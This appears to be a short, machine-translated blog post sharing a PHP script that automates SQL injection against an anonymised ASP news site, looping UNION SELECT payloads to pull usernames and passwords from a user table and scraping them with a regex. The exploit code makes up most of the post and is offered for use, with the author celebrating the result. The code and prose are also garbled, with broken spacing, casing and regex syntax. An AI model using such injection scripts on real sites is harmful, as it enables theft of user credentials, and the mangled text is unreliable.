Write a PHP small script-assisted penetration test

Because of an injection to crawl some data, and then write a small script, can write scripts to assist infiltration, is also considered a milestone. Ha ha haha

<?PHP$num= 1; while($num<= 39) {$web _url= "http://www.xxx.com/shownews.asp?id=626%0AUNION%0ASELECT%0Atop%0A1%0A1,user_username,3,user_password,5,6%0 AFROM%0A (select%0atop%0a1%0auser_username,user_phone%0afrom%0a (select%0atop%0a ").$num. "%0 Auser_username,user_phone%0afrom%0azy_user%0awhere%0a1=1%0aorder%0aby%0auser_username)%0At%0Aorder%0Aby%0Auser _USERNAME%0ADESC) T ";$curl=curl_init (); curl_setopt ($curl, Curlopt_url,$web _url); curl_setopt ($curl, curlopt_returntransfer,1);$html _code= Curl_exec ($curl);$re= "/<div class=\" helpcontent\ ">[\s\s]*div>/u";//u Cancel greedy modeif(Preg_match_all($re,$html _code,$arr)){    Print_r($arr[0]);} Curl_close ($curl);$num=$num+ 1;Echo"<br/>";} ?>

Here's the biggest problem or a regular match. Match that line break. Because this is the HTML tag.

  <div class= "News_list fr" > 
Visible matches have a newline and a lot of spaces.
Then write a half-day write the regular is not written out. The thief was embarrassed.
Write a PHP small script-assisted penetration test